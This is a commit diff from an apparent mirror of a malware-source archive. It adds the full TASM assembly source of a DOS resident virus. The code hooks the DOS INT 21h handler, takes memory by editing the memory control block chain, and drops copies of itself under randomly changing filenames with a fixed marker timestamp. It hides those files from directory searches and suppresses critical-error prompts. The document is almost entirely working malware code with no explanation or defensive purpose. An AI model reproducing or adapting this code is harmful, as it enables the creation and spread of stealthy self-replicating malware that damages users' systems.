mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,289 @@
|
||||
ideal
|
||||
@date = 0355h ;21.10.1981
|
||||
@time = 8E79h ;17:51:50
|
||||
model tiny
|
||||
codeseg
|
||||
startupcode
|
||||
jmp begin
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
macro intdos
|
||||
pushf
|
||||
call [dword cs:oi21]
|
||||
endm
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
i21: push ax
|
||||
xor al,al
|
||||
cmp ah,3ch
|
||||
jz okk
|
||||
cmp ah,5bh
|
||||
jz okk
|
||||
cmp ah,3dh
|
||||
jz okk
|
||||
inc al
|
||||
cmp ah,16h
|
||||
jz okk
|
||||
cmp ah,0fh
|
||||
jnz ov0
|
||||
okk: jmp ok
|
||||
ov0: cmp ah,1ah
|
||||
jz setdta
|
||||
mov [byte cs:funct],12h
|
||||
cmp ah,12h
|
||||
jz fndf
|
||||
cmp ah,11h
|
||||
jz fndf
|
||||
mov [byte cs:funct],4fh
|
||||
cmp ah,4eh
|
||||
jz fndh
|
||||
cmp ah,4fh
|
||||
jz fndh
|
||||
ov: pop ax
|
||||
db 0eah
|
||||
oi21 dw 0
|
||||
oi21s dw 0
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
setdta: mov [cs:dta],dx
|
||||
mov [cs:dta+2],ds
|
||||
jmp ov
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
fndh: pop ax
|
||||
fnd0: intdos
|
||||
jc fex
|
||||
pushf
|
||||
push si di es ds
|
||||
lds si,[dword cs:dta]
|
||||
compar: cmp [word si+16h],@time
|
||||
jnz f10
|
||||
cmp [word si+18h],@date
|
||||
jnz f10
|
||||
pop ds es di si
|
||||
popf
|
||||
lds dx,[dword cs:dta]
|
||||
db 0b4h
|
||||
funct db 4fh
|
||||
jmp fnd0
|
||||
f10: pop ds es di si
|
||||
popf
|
||||
fex: push ax bp
|
||||
mov bp,sp
|
||||
lahf
|
||||
mov [ss:bp+8],ah
|
||||
pop bp ax
|
||||
iret
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
fndf: pop ax
|
||||
fnf0: intdos
|
||||
and al,al
|
||||
jnz fex
|
||||
pushf
|
||||
push si di es ds
|
||||
lds si,[dword cs:dta]
|
||||
cmp [byte ds:si],0ffh
|
||||
jnz f21
|
||||
add si,7
|
||||
f21: inc si
|
||||
jmp compar
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
ok: push bx cx dx si di ds es
|
||||
and al,al
|
||||
jz nex
|
||||
mov cx,6
|
||||
mov ax,cs
|
||||
mov es,ax
|
||||
lea di,[ok1]
|
||||
mov si,dx
|
||||
rep cmpsw
|
||||
jnz nex
|
||||
pop es ds di si dx cx bx ax
|
||||
mov ax,1313h
|
||||
iret
|
||||
nex:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,[ds:90h]
|
||||
push ax
|
||||
mov ax,[ds:92h]
|
||||
push ax
|
||||
mov [word ds:90h],offset i24
|
||||
mov [word ds:92h],cs
|
||||
|
||||
mov bx,[ds:46ch]
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
test bx,6C1h
|
||||
jnz no_chg
|
||||
cmp [byte pauss],0
|
||||
jz chg1
|
||||
dec [byte pauss]
|
||||
jmp no_chg
|
||||
chg1: mov [pauss],80
|
||||
xor al,al
|
||||
out 43h,al
|
||||
jcxz $+2
|
||||
in al,40h
|
||||
mov bl,al
|
||||
in al,40h
|
||||
add al,bl
|
||||
and al,1fh
|
||||
cmp al,'Z'-'A'
|
||||
jbe xx1
|
||||
sub al,'Z'-'A'
|
||||
xx1: add al,'A'
|
||||
std
|
||||
mov si,offset fname+6
|
||||
lea di,[si+1]
|
||||
mov cx,7
|
||||
rep movsb
|
||||
stosb
|
||||
no_chg:
|
||||
mov ah,5bh
|
||||
lea dx,[fname]
|
||||
mov cx,1
|
||||
intdos
|
||||
jc term
|
||||
mov bx,ax
|
||||
mov ah,40h
|
||||
mov cx,offset endcod-100h
|
||||
mov dx,100h
|
||||
; inc [cs:count]
|
||||
mov [cs:flag],0
|
||||
intdos
|
||||
cmp ax,offset endcod-100h
|
||||
jnz ok1
|
||||
mov [cs:flag],1
|
||||
ok1: mov ax,5701h
|
||||
mov cx,@time
|
||||
mov dx,@date
|
||||
intdos
|
||||
|
||||
mov ah,3eh
|
||||
intdos
|
||||
cmp [cs:flag],1
|
||||
jz term
|
||||
|
||||
lea dx,[fname]
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
intdos
|
||||
lea dx,[fname]
|
||||
mov ah,41h
|
||||
; dec [cs:count]
|
||||
intdos
|
||||
term: xor ax,ax
|
||||
mov ds,ax
|
||||
pop ax
|
||||
mov [ds:92h],ax
|
||||
pop ax
|
||||
mov [ds:90h],ax
|
||||
ok0: pop es ds di si dx cx bx
|
||||
jmp ov
|
||||
driv db 0
|
||||
flag db 0
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
i24: mov al,3
|
||||
iret
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
begin: mov ah,16h
|
||||
lea dx,[ok1]
|
||||
int 21h
|
||||
cmp ax,1313h
|
||||
jnz b01
|
||||
b02: int 20h
|
||||
b01: mov ax,[ds:2ch]
|
||||
mov ds,ax
|
||||
xor si,si
|
||||
cld
|
||||
b04: lodsb
|
||||
and al,al
|
||||
jnz b04
|
||||
lodsb
|
||||
and al,al
|
||||
jnz b04
|
||||
inc si
|
||||
inc si
|
||||
b05: mov bx,si
|
||||
b06: lodsb
|
||||
cmp al,':'
|
||||
jz b05
|
||||
cmp al,'\'
|
||||
jz b05
|
||||
and al,al
|
||||
jnz b06
|
||||
mov cx,si
|
||||
sub cx,bx
|
||||
mov si,bx
|
||||
mov di,offset fname
|
||||
rep movsb
|
||||
mov ah,2fh
|
||||
int 21h
|
||||
mov [cs:dta],bx
|
||||
mov [cs:dta+2],es
|
||||
mov [byte cs:pauss],0
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
dec ax
|
||||
mov es,ax
|
||||
|
||||
mov cl,4
|
||||
mov ax,offset endpr-100h
|
||||
add ax,15
|
||||
shr ax,cl
|
||||
mov cx,[es:3]
|
||||
sub [es:3],ax
|
||||
mov bx,ax
|
||||
mov ax,cs
|
||||
add ax,[es:3]
|
||||
sub ax,10h
|
||||
mov [bseg],ax
|
||||
cmp [byte es:0],'Z'
|
||||
jz b10
|
||||
|
||||
push ds
|
||||
mov ax,cs
|
||||
add ax,cx
|
||||
mov ds,ax
|
||||
sub ax,bx
|
||||
mov es,ax
|
||||
sub ax,0fh
|
||||
mov [cs:bseg],ax
|
||||
xor si,si
|
||||
mov di,si
|
||||
mov cx,8
|
||||
rep movsw
|
||||
add [es:3],bx
|
||||
sub [es:1],bx
|
||||
pop ds
|
||||
|
||||
b10: mov ax,[bseg]
|
||||
mov es,ax
|
||||
mov si,100h
|
||||
mov di,si
|
||||
mov cx,offset endpr-100h
|
||||
rep movsb
|
||||
mov di,offset b03
|
||||
xchg di,[0ah]
|
||||
xchg ax,[0ch]
|
||||
mov [es:oter],di
|
||||
mov [es:oter+2],ax
|
||||
ret
|
||||
b03: push ax bx ds es cs
|
||||
pop ds
|
||||
mov ax,3521h
|
||||
int 21h
|
||||
mov [oi21],bx
|
||||
mov [oi21s],es
|
||||
mov ax,2521h
|
||||
lea dx,[i21]
|
||||
int 21h
|
||||
pop es ds bx ax
|
||||
db 0eah
|
||||
endcod = $
|
||||
oter dw 0
|
||||
bseg dw ?
|
||||
count dw ?
|
||||
pauss db ?
|
||||
fname db 13 dup (?)
|
||||
dta dw ?,?
|
||||
endpr = $
|
||||
end
|
||||
Reference in New Issue
Block a user